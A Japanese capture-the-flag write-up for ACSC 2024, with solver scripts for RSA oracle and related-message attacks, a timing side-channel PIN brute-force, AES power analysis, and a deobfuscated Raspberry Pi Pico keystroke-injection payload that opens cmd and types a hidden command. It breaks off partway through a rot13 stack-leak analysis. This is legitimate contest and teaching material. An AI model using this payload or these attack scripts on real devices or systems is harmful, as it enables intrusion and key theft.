ACSC 2024 に参加しました.
15 人ぐらいが ICC に参加できるので気合を入れてましたが,全体では 30 位で,eligible only だと 26 位という結果でした.
解けた中で一番得点の高いものでも 200 pts と,どのジャンルも簡単なものしか解けませんでした.
全然だめでした.
能無しによる Writeup をどうぞ.
Crypto
RSA Stream2
100 pts
authored by theoremoon
I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.
from Crypto.Util.number import getPrime
import random
import re
p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))
m = random.randrange(2, n)
c = pow(m, e, n)
text = open(__file__, "rb").read()
ciphertext = []
for b in text:
o = 0
for i in range(8):
bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
c = pow(2, e, n) * c % n
o |= bit << i
ciphertext.append(o)
open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)
# flag = "ACSC{*REDACTED*}"
問題中の式
$c = (2^e)^k m^e$
が LSB decryption oracle attack のそれなので,$m$ が求められる.
実装が間違っているのか $m$ が少しずれるので適当に探索する.
n = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747
e = 65537
f = open('chal_redacted.py', 'rb')
src = f.read()[:-13]
f.close()
f = open('chal.py.enc', 'rb')
enc = f.read()[:len(src)]
f.close()
bits = []
for b1, b2 in zip(src, enc):
for i in range(8):
bits.append(((b1 >> i) & 1) ^ ((b2 >> i) & 1))
bits = bits[1:]
lb = 2
ub = n
i = 0
while lb != ub:
mid = (lb + ub) // 2
if bits[i] == 1:
lb = mid
else:
ub = mid
i += 1
m = lb + 1
c = pow(m, e, n)
print(f'{m = }')
f = open('chal.py.enc', 'rb')
enc = f.read()
f.close()
for dif in range(-500, 500):
try:
x = m + dif
dec = []
for b in enc:
o = 0
for i in range(8):
bit = ((b >> i) & 1) ^ (x % 2)
x = (x * 2) % n
o |= bit << i
dec.append(o)
print(bytes(dec).decode())
break
except:
pass
strongest OAEP
200 pts
authored by Bono_iPad
OAEP is strongest! I tweeked the MGF and PRNG! I don't know what I am doing! Oh, e is growing!
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import os
flag = b"ACSC{___REDACTED___}"
def strongest_mask(seed, l):
return b"\x01"*l
def strongest_random(l):
x = bytes_to_long(os.urandom(1)) & 0b1111
return long_to_bytes(x) + b"\x00"*(l-1)
f = open("strongest_OAEP.txt","w")
key = RSA.generate(2048,e=13337)
c_buf = -1
for a in range(2):
OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
while True:
c = OAEP_cipher.encrypt(flag)
num_c = bytes_to_long(c)
if c_buf == -1:
c_buf = num_c
else:
if c_buf == num_c:continue
break
f.write("c: %d\n" % num_c)
f.write("e: %d\n" % key.e)
f.write("n: %d\n" % key.n)
OAEP_cipher = PKCS1_OAEP.new(key=key,randfunc=strongest_random,mgfunc=strongest_mask)
dec = OAEP_cipher.decrypt(c)
assert dec == flag
# wow, e is growing!
d = pow(31337,-1,(key.p-1)*(key.q-1))
key = RSA.construct( ((key.p * key.q), 31337, d) )
PKCS#1 OAEP という RSA で $e$ を変えて二回暗号化されている.
PKCS#1 OAEP の通常の RSA と違う点は,message $m$ をそのまま使わないこと.
RFC 8017 - PKCS #1 を読むと message の代わりとなる encoded message の形式がわかる.
PyCryptodome のドキュメント を見ると,今回の実装では strongest_random
が seed を生成する際に使われる関数で,strongest_mask
は MGF であることがわかる.
strongest_mask
関数は入力の seed
を使わずに長さ l
のみを使っているため,上の図のような encoded message にはならず,以下のようになる.
+----------+------+--+-------+
DB = | lHash | PS |01| M |
+----------+------+--+-------+
|
+----------+ |
| seed | |
+----------+ |
| |
| MGF ---> xor
| |
+--+ V |
|00| xor <----- MGF |
+--+ | |
| | |
V V V
+--+----------+----------------------------+
EM = |00|maskedSeed| maskedDB |
+--+----------+----------------------------+
_______________________________________________________________
よって,二つの encoded message の差は seed の 4 ビットのみとなるので,総当りで Related Message Attack ができる.
二つの差は $d = r \cdot 2^{2048 - 16} \quad (1 \le d \le 16)$ なので,
$
f(x) = x^e - c_1 \
g(x) = (x \pm d)^e - c_2
$
とする.
from Crypto.Util.number import *
n = 22233043203851051987774676272268763746571769790283990272898544200595210865805062042533964757556886045816797963053708033002519963858645742763011213707135129478462451536734634098226091953644783443749078817891950148961738265304229458722767352999635541835260284887780524275481187124725906010339700293644191694221299975450383751561212041078475354616962383810736434747953002102950194180005232986331597234502395410788503785620984541020025985797561868793917979191728616579236100110736490554046863673615387080279780052885489782233323860240506950917409357985432580921304065490578044496241735581685702356948848524116794108391919
e1 = 13337
e2 = 31337
c1 = 13412188923056789723463018818435903148553225092126449284011226597847469180689010500205036581482811978555296731975701940914514386095136431336581120957243367238078451768890612869946983768089205994163832242140627878771251215486881255966451017190516603328744559067714544394955162613568906904076402157687419266774554282111060479176890574892499842662967399433436106374957988188845814236079719315268996258346836257944935631207495875339356537546431504038398424282614669259802592883778894712706369303231223163178823585230343236152333248627819353546094937143314045129686931001155956432949990279641294310277040402543835114017195
c2 = 2230529887743546073042569155549981915988020442555697399569938119040296168644852392004943388395772846624890089373407560524611849742337613382094015150780403945116697313543212865635864647572114946163682794770407465011059399243683214699692137941823141772979188374817277682932504734340149359148062764412778463661066901102526545656745710424144593949190820465603686746875056179210541296436271441467169157333013539090012425649531186441705611053197011849258679004951603667840619123734153048241290299145756604698071913596927333822973487779715530623752416348064576460436025539155956034625483855558580478908137727517016804515266
def pdivmod(u, v):
q = u // v
r = u - q*v
return (q, r)
def hgcd(u, v, min_degree=10):
x = u.parent().gen()
if u.degree() < v.degree():
u, v = v, u
if 2*v.degree() < u.degree() or u.degree() < min_degree:
q = u // v
return matrix([[1, -q], [0, 1]])
m = u.degree() // 2
b0, c0 = pdivmod(u, x^m)
b1, c1 = pdivmod(v, x^m)
R = hgcd(b0, b1)
DE = R * matrix([[u], [v]])
d, e = DE[0,0], DE[1,0]
q, f = pdivmod(d, e)
g0 = e // x^(m//2)
g1 = f // x^(m//2)
S = hgcd(g0, g1)
return S * matrix([[0, 1], [1, -q]]) * R
def pgcd(u, v):
if u.degree() < v.degree():
u, v = v, u
if v == 0:
return u
if u % v == 0:
return v
if u.degree() < 10:
while v != 0:
u, v = v, u % v
return u
R = hgcd(u, v)
B = R * matrix([[u], [v]])
b0, b1 = B[0,0], B[1,0]
r = b0 % b1
if r == 0:
return b1
return pgcd(b1, r)
def xor_01(data):
return bytes([d ^^ 1 for d in data])
PR.<x> = PolynomialRing(Zmod(n))
for dif in range(-5, 0):
# for dif in range(-16, 16 + 1):
if dif == 0:
continue
print(f'{dif = }')
d = dif << (2048 - 16)
f = x ^ e1 - c1
g = (x + d) ^ e2 - c2
h = pgcd(f, g)
if h == None:
continue
m = -h.monic()[0]
enc_msg = xor_01(long_to_bytes(int(m)))
if b'ACSC' in enc_msg:
print(enc_msg)
break
Hardware
An4lyz3_1t
50 pts
authored by Chainfire73
Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.
拡張子は .sal
だが中身は zip ファイルっぽい.
└─< file chall.sal
chall.sal: Zip archive data, at least v2.0 to extract, compression method=deflate
展開してみると digital-x.bin
と meta.json
というファイルが得られるが中身を確認してもよくわからない.
.
├── digital-0.bin
├── digital-1.bin
├── digital-2.bin
├── digital-3.bin
├── digital-4.bin
├── digital-5.bin
├── digital-6.bin
├── digital-7.bin
└── meta.json
sal file meta.json
で調べてみると Logic 2 Capture Format であることがわかるので,Logic 2 を使ってデコードする.
設定を以下のようにすると Terminal の部分に FLAG が表示される
Vault
150 pts
authored by v3ct0r, Chainfire73
Can you perform side-channel attack to this vault? The PIN is a 10-digit number.
* Python3 is installed on remote. nc vault.chal.2024.ctf.acsc.asia 9999
Ghidra でデコンパイル
void main(void)
{
ssize_t len;
int i;
printart();
printf("Enter your PIN: ");
fflush((FILE *)stdout);
len = read(0,input.1,10);
if ((int)len == 10) {
delay();
for (i = 0; i < 10; i = i + 1) {
if ((int)(char)input.1[i] != (i + 1U ^ (int)(char)pins[(long)i * 0xaf + 0x45])) {
flag.0 = 0;
puts("Access Denied\n It didn\'t take me any time to verify that it\'s not the pin")
;
return;
}
delay();
}
if (flag.0 != 0) {
printflag(input.1);
}
}
else {
puts("Access Denied\n It didn\'t take me any time to verify that it\'s not the pin");
}
return;
}
入力が 10 文字なら delay
関数が呼び出される.
その後に前から順番に一文字ずつ比較して正しければ delay
関数が呼び出される.
delay
関数が呼び出されると 0.1 秒停止する.
└─< time ./chall <<< $(echo 0)
@@@ @@@ @@@@@@ @@@ @@@ @@@ @@@@@@@
@@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@@
@@! @@@ @@! @@@ @@! @@@ @@! @@!
!@! @!@ !@! @!@ !@! @!@ !@! !@!
@!@ !@! @!@!@!@! @!@ !@! @!! @!!
!@! !!! !!!@!!!! !@! !!! !!! !!!
:!: !!: !!: !!! !!: !!! !!: !!:
::!!:! :!: !:! :!: !:! :!: :!:
:::: :: ::: ::::: :: :: :::: ::
: : : : : : : : :: : : :
Enter your PIN: Access Denied
It didn't take me any time to verify that it's not the pin
real 0.00s
user 0.00s
sys 0.00s
cpu 83%
└─< time ./chall <<< $(echo 0000000000)
@@@ @@@ @@@@@@ @@@ @@@ @@@ @@@@@@@
@@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@@
@@! @@@ @@! @@@ @@! @@@ @@! @@!
!@! @!@ !@! @!@ !@! @!@ !@! !@!
@!@ !@! @!@!@!@! @!@ !@! @!! @!!
!@! !!! !!!@!!!! !@! !!! !!! !!!
:!: !!: !!: !!! !!: !!! !!: !!:
::!!:! :!: !:! :!: !:! :!: :!:
:::: :: ::: ::::: :: :: :::: ::
: : : : : : : : :: : : :
Enter your PIN: Access Denied
It didn't take me any time to verify that it's not the pin
real 0.10s
user 0.00s
sys 0.00s
cpu 1%
以下のスクリプトで特定できる.
import subprocess
import time
pin = ''
for i in range(10):
for j in range(10):
p = pin + str(j)
p += '0' * (10 - len(p))
start = time.time()
subprocess.run('/home/user/chall', input=p, text=True, stdout=subprocess.PIPE)
end = time.time()
res = int(round(end - start, 2) * 10)
if res == 2 + i:
pin += str(j)
print(pin)
break
print(pin)
サーバ側では /tmp
上にファイルを自由に置けて base64 が使えるのでスクリプトを配置できる
user@NSJAIL:/tmp$ ls -la
ls: .: Operation not permitted
ls: ..: Operation not permitted
ls: hoge: Operation not permitted
total 4
drwxrwxrwt 2 user user 60 Mar 30 11:03 .
drwxr-xr-x 17 nobody nogroup 4096 Mar 30 04:43 ..
-rw-r--r-- 1 user user 0 Mar 30 11:03 hoge
user@NSJAIL:/tmp$ base64 --help
Usage: base64 [OPTION]... [FILE]
Base64 encode or decode FILE, or standard input, to standard output.
(snip...)
└─< cat solve.py | base64 -w 0
aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRpbWUKCnBpbiA9ICcnCmZvciBpIGluIHJhbmdlKDEwKToKICAgIGZvciBqIGluIHJhbmdlKDEwKToKICAgICAgICBwID0gcGluICsgc3RyKGopCiAgICAgICAgcCArPSAnMCcgKiAoMTAgLSBsZW4ocCkpCiAgICAgICAgc3RhcnQgPSB0aW1lLnRpbWUoKQogICAgICAgIHN1YnByb2Nlc3MucnVuKCcvaG9tZS91c2VyL2NoYWxsJywgaW5wdXQ9cCwgdGV4dD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgIGVuZCA9IHRpbWUudGltZSgpCiAgICAgICAgcmVzID0gaW50KHJvdW5kKGVuZCAtIHN0YXJ0LCAyKSAqIDEwKQogICAgICAgIGlmIHJlcyA9PSAyICsgaToKICAgICAgICAgICAgcGluICs9IHN0cihqKQogICAgICAgICAgICBwcmludChwaW4pCiAgICAgICAgICAgIGJyZWFrCgpwcmludChwaW4p
user@NSJAIL:/home/user$ python3 -c 'import pty; pty.spawn("/bin/bash")'
user@NSJAIL:/home/user$ cd /tmp
user@NSJAIL:/tmp$ echo aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRpbWUKCnBpbiA9ICcnCmZvciBpIGluIHJhbmdlKDEwKToKICAgIGZvciBqIGluIHJhbmdlKDEwKToKICAgICAgICBwID0gcGluICsgc3RyKGopCiAgICAgICAgcCArPSAnMCcgKiAoMTAgLSBsZW4ocCkpCiAgICAgICAgc3RhcnQgPSB0aW1lLnRpbWUoKQogICAgICAgIHN1YnByb2Nlc3MucnVuKCcvaG9tZS91c2VyL2NoYWxsJywgaW5wdXQ9cCwgdGV4dD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgIGVuZCA9IHRpbWUudGltZSgpCiAgICAgICAgcmVzID0gaW50KHJvdW5kKGVuZCAtIHN0YXJ0LCAyKSAqIDEwKQogICAgICAgIGlmIHJlcyA9PSAyICsgaToKICAgICAgICAgICAgcGluICs9IHN0cihqKQogICAgICAgICAgICBwcmludChwaW4pCiAgICAgICAgICAgIGJyZWFrCgpwcmludChwaW4p | base64 -d > solve.py
8574219362
user@NSJAIL:/home/user$ ./chall
./chall
@@@ @@@ @@@@@@ @@@ @@@ @@@ @@@@@@@
@@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@@
@@! @@@ @@! @@@ @@! @@@ @@! @@!
!@! @!@ !@! @!@ !@! @!@ !@! !@!
@!@ !@! @!@!@!@! @!@ !@! @!! @!!
!@! !!! !!!@!!!! !@! !!! !!! !!!
:!: !!: !!: !!! !!: !!! !!: !!:
::!!:! :!: !:! :!: !:! :!: :!:
:::: :: ::: ::::: :: :: :::: ::
: : : : : : : : :: : : :
Enter your PIN: 8574219362
8574219362
flag: ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}
picopico
200 pts
authored by op
Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?
firmware dump が与えられている.
strings コマンドを実行すると,いくつか Python のコードが出てくる.
ほとんどは検索すると見つかるが,最後のものだけ少し難読化がされているコードになっている.
これを読みやすくすると以下のようになる.
import storage
storage.disable_usb_drive()
import time
import microcontroller
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
w = b"\x10\x53\x7f\x2b"
if microcontroller.nvm[0 : len(w)] != w:
microcontroller.nvm[0 : len(w)] = w
O = microcontroller.nvm[4 : 47]
h = microcontroller.nvm[47 : 90]
F = bytes((kb ^ fb for kb, fb in zip(O, h))).decode("ascii")
S = Keyboard(usb_hid.devices)
C = KeyboardLayoutUS(S)
time.sleep(0.1)
S.press(Keycode.WINDOWS, Keycode.R)
time.sleep(0.1)
S.release_all()
time.sleep(1)
C.write("cmd",delay=0.1)
time.sleep(0.1)
S.press(Keycode.ENTER)
time.sleep(0.1)
S.release_all()
time.sleep(1)
C.write(F, delay=0.1)
time.sleep(0.1)
S.press(Keycode.ENTER)
time.sleep(0.1)
S.release_all()
time.sleep(0xFFFFFFFF)
microcontroller.nvm
というのは Non-volatile memory (不揮発性メモリ) のこと.
(microcontroller.nvm)
スクリプトを確認すると実行の度に先頭の 4 バイトが b"\x10\x53\x7f\x2b"
になっていなければこの値に書き換えられる.
firmware.bin
の中でこの 4 バイトを検索すると見つかる.
└─< xxd distfiles-picopico/firmware.bin | less
000ff000: 1053 7f2b 41a0 7151 9fca fd84 350a d2b0 .S.+A.qQ....5...
000ff010: 1ea8 a9b7 101f 557a 8c98 b269 ef92 c515 ......Uz...i....
000ff020: d04b ff87 1763 e462 c6a5 b2bc 8eef d824 .K...c.b.......$
000ff030: c319 3ebf 8bbe d776 71e1 8427 989d 8773 ..>....vq..'...s
000ff040: 2e63 19bf aed4 0b8d f3fd 76e4 73cb e525 .c........v.s..%
000ff050: 5bdd 07f6 c1d3 d9b8 89a5 0000 0000 0000 [...............
その後ろの値を取得してデコードする.
nvm = [
0x10, 0x53, 0x7f, 0x2b, 0x41, 0xa0, 0x71, 0x51, 0x9f, 0xca, 0xfd, 0x84, 0x35, 0x0a, 0xd2, 0xb0,
0x1e, 0xa8, 0xa9, 0xb7, 0x10, 0x1f, 0x55, 0x7a, 0x8c, 0x98, 0xb2, 0x69, 0xef, 0x92, 0xc5, 0x15,
0xd0, 0x4b, 0xff, 0x87, 0x17, 0x63, 0xe4, 0x62, 0xc6, 0xa5, 0xb2, 0xbc, 0x8e, 0xef, 0xd8, 0x24,
0xc3, 0x19, 0x3e, 0xbf, 0x8b, 0xbe, 0xd7, 0x76, 0x71, 0xe1, 0x84, 0x27, 0x98, 0x9d, 0x87, 0x73,
0x2e, 0x63, 0x19, 0xbf, 0xae, 0xd4, 0x0b, 0x8d, 0xf3, 0xfd, 0x76, 0xe4, 0x73, 0xcb, 0xe5, 0x25,
0x5b, 0xdd, 0x07, 0xf6, 0xc1, 0xd3, 0xd9, 0xb8, 0x89, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
x = nvm[4 : 47]
y = nvm[47 : 90]
f = bytes((kb ^ fb for kb, fb in zip(x, y))).decode("ascii")
print(f)
PWR_Tr4ce
200 pts
authored by Chainfire73
You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.
EXPERIMENT SETUP
scope = chipwhisperer lite
target = stm32f3
AES key length = 16 bytes
電力と入力の numpy のデータが渡される.
ここから AES に使われた鍵を抽出すれば良いと問題にある.
調べていると AESに対する相関電力解析を勉強する が見つかる.
ここのスクリプトを使うだけで解ける.
import numpy as np
import os
from chipwhisperer.common.traces.TraceContainerNative import TraceContainerNative
textins = np.load('./distfiles-pwr-tr4ce/textins.npy')
traces = np.load('./distfiles-pwr-tr4ce/traces.npy')
tc = TraceContainerNative()
for textin, trace in zip(textins, traces):
tc.addWave(trace)
tc.addTextin(textin)
tc.addKey([0]*16)
os.mkdir('cfg_form')
tc.saveAllTraces('cfg_form')
tc.config.setConfigFilename('cfg_form/rhme.cfg')
tc.config.saveTrace()
import numpy as np
pt_list = np.load('./distfiles-pwr-tr4ce/textins.npy')
tr_list = np.load('./distfiles-pwr-tr4ce/traces.npy')
NUM_TRACES = len(tr_list)
NUM_POINTS = len(tr_list[0])
# Sum of absolute difference
def synchronize(trace, reference, window=[-1,1], max_offset=500):
if window[0] == -1:
window[0] = 0
if window[1] == 1:
window[1] = len(reference) -1
window_size = window[1] - window[0]
reference_window = reference[window[0]:window[1]]
sad = [0] * (max_offset*2 + 1)
for x in range(0, max_offset*2 + 1):
trace_slice = trace[window[0]-max_offset+x:window[1]-max_offset+x]
sad[x] = np.sum(np.abs(reference_window - trace_slice))
sad_idx = np.argmin(sad)
offset = -max_offset + sad_idx
synchronized_trace = trace
if offset < 0:
synchronized_trace = np.concatenate(([0]*abs(offset), synchronized_trace[:-abs(offset)]))
elif offset > 0:
synchronized_trace = np.concatenate((synchronized_trace[abs(offset):], [0]*abs(offset)))
return synchronized_trace
reference_trace = tr_list[0]
sync_traces = reference_trace
print("[*] Loading traces...")
i = 0
for trace in tr_list[1:NUM_TRACES+1]:
synchronized_trace = synchronize(trace, reference_trace, [2500, 4000])
sync_traces = np.vstack((sync_traces, synchronized_trace))
i += 1
if i % 100 == 0:
print("[+] load {} traces".format(i))
print("[*] Done.")
humming = [bin(n).count("1") for n in range(256)]
sbox = (
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16)
def addkey_subbytes(pt, guesskey):
return sbox[pt ^ guesskey]
print("[*] Guessing key...")
bestguess = [0] * 16
pge = [256] * 16
for k_idx in range(16): # determine key index
cpaoutput = [0] * 256
# follow valiables may not be need
maxcpa = [0] * 256
bestcor = 0
bestkey = 0
for kguess in range(256): # determine word key candidate
sumnum = np.zeros(NUM_POINTS)
sumden1 = np.zeros(NUM_POINTS)
sumden2 = np.zeros(NUM_POINTS)
hyp = np.zeros(NUM_TRACES)
for t_idx in range(NUM_TRACES): # hypothesis hamming weight
hyp[t_idx] = humming[addkey_subbytes(pt_list[t_idx][k_idx], kguess)]
h_mean = np.mean(hyp, dtype=np.float64)
t_mean = np.mean(sync_traces, axis=0, dtype=np.float64)
assert 0 < h_mean and h_mean < 8, "meanh is not between 0 and 8"
assert len(t_mean) == NUM_POINTS, "meant is less than trace points"
cors = []
for t_idx in range(NUM_TRACES):
hdiff = (hyp[t_idx] - h_mean)
tdiff = sync_traces[t_idx] - t_mean
sumnum = sumnum + (hdiff * tdiff)
sumden1 = sumden1 + hdiff * hdiff
sumden2 = sumden2 + tdiff * tdiff
cpaoutput[kguess] = sumnum / np.sqrt(sumden1 * sumden2)
maxcpa[kguess] = max(abs(cpaoutput[kguess]))
bestguess[k_idx] = np.argmax(maxcpa)
print("[+] best guess key [{0}] is {1:02x}".format(k_idx, bestguess[k_idx]))
print("[*] Done.")
key = ['{:02X}'.format(bestguess[x]) for x in range(16)]
print("[+] Best key guess: {}".format("".join(key)))
strkey = ''.join(map(chr, bestguess))
print(strkey)
Pwn
rot13
100 pts
authored by ptr-yudai
This is the fastest implementation of ROT13!
nc rot13.chal.2024.ctf.acsc.asia 9999
セキュリティ機構は以下のようになっている.
└─< spwn
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/toha/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] A newer version of pwntools is available on pypi (4.9.0 --> 4.12.0).
Update with: $ pip install -U pwntools
[*] Binary: rot13
[*] Libc: libc.so.6
[!] No loader
[*] file rot13
ELF 64-bit LSB pie executable
x86-64
dynamically linked
not stripped
[*] checksec rot13
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Libc version: 2.35
[*] cwe_checker rot13 (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) rot13 (0010127c) -> strlen
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (00101536) -> memset
[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id c289da5071a3399de893d2af81d6a30c62646e1e from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id c289da5071a3399de893d2af81d6a30c62646e1e on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader
ソースコード
#include <stdio.h>
#include <string.h>
#define ROT13_TABLE \
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \
"\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \
"\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
void rot13(const char *table, char *buf) {
printf("Result: ");
for (size_t i = 0; i < strlen(buf); i++)
putchar(table[buf[i]]);
putchar('\n');
}
int main() {
const char table[0x100] = ROT13_TABLE;
char buf[0x100];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
printf("Text: ");
memset(buf, 0, sizeof(buf));
if (scanf("%[^\n]%*c", buf) != 1)
return 0;
rot13(table, buf);
}
return 0;
}
BOF は明らかにできるが canary があるのでどうにかする必要がある.
また,実行ファイルや libc のアドレスもわかっていない.
ただし,rot13
関数内で
putchar(table[buf[i]]);
とあるが,インデックスに使われている buf
は
char *buf
で与えられている char
型なのでここが怪しい.
以下のコードで試してみると 8 ビットの符号付き整数として解釈されるようで -1 が出力される.
#include<stdio.h>
int main() {
char c = '\xff';
printf("%d\n", c);
// >> -1
}
よって main
関数内のスタックで定義されている table
より上位のスタック (下位のアドレス) を出力することができる.
rot13
関数内でのスタックは以下のようになっている.
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x55555555522a <rot13+33> xor eax, eax
0x55555555522c <rot13+35> lea rax, [rip + 0xdd1]
0x555555555233 <rot13+42> mov rdi, rax
0x555555555236 <rot13+45> mov eax, 0
0x55555555523b <rot13+50> call printf@plt <printf@plt>
0x555555555240 <rot13+55> mov qword ptr [rbp - 0x10], 0
0x555555555248 <rot13+63> jmp rot13+108 <rot13+108>
0x55555555524a <rot13+65> mov rdx, qword ptr [rbp - 0x20]
0x55555555524e <rot13+69> mov rax, qword ptr [rbp - 0x10]
0x555555555252 <rot13+73> add rax, rdx
0x555555555255 <rot13+76> movzx eax, byte ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd7e0 —▸ 0x7fffffffd910 ◂— 0x65676f68 /* 'hoge' */
01:0008│ 0x7fffffffd7e8 —▸ 0x7fffffffd810 ◂— 0x706050403020100
